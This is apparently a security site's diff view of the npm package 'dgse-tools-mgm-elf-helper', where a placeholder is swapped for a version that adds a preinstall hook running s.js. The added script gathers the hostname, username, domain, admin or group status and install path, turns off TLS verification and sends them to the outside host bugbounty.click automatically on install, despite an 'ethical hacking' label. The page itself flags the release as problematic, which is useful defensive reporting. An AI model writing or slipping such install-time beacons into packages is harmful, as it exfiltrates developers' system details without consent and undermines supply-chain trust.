dgse-tools-mgm-elf-helper 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of dgse-tools-mgm-elf-helper might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/index.js +0 -0
  2. package/package.json +1 -6
  3. package/s.js +45 -0
  4. package/README.md +0 -5
package/index.js ADDED
File without changes
package/package.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "name": "dgse-tools-mgm-elf-helper",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {"name": "dgse-tools-mgm-elf-helper", "version": "1.0.0", "description": "Package created for ethical hacking purposes only Please contact me at contact@bugbounty.click", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "node s.js"}, "author": "", "license": "ISC"}
package/s.js ADDED
@@ -0,0 +1,45 @@
1
+
2
+ var os = require('os');
3
+ var hostname = os.hostname();
4
+ var username = os.userInfo().username;
5
+ var platform = os.platform();
6
+
7
+ var admin_text;
8
+
9
+ if (platform == 'win32' || platform == 'win64') {
10
+ try {
11
+ net_session = require('child_process').execSync('net session');
12
+ admin_text = 'admin';
13
+ }
14
+ catch {
15
+ admin_text = 'non-admin';
16
+ }
17
+
18
+ username = require('child_process').execSync('systeminfo | findstr /B Domain').toString().replace('Domain:', '').trim() + '/' + username;
19
+
20
+ } else {
21
+ admin_text = os.userInfo().uid;
22
+
23
+ try {
24
+ const { execSync } = require('child_process');
25
+ let stdout = execSync('groups').toString().replace('\n', '');
26
+ admin_text += ' ' + stdout;
27
+ }
28
+ catch {
29
+ }
30
+ }
31
+
32
+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
33
+
34
+ const https = require('https')
35
+ const options = {
36
+ hostname: 'bugbounty.click',
37
+ port: 443,
38
+ path: '/dc1234-bugbounty/knock-knock/log-install.php?Username=' + encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + encodeURI(hostname) + '&Package=dgse-tools-mgm-elf-helper&PWD=' + __dirname,
39
+ method: 'GET'
40
+ }
41
+
42
+ const req = https.request(options)
43
+
44
+ req.end();
45
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=dgse-tools-mgm-elf-helper for more information.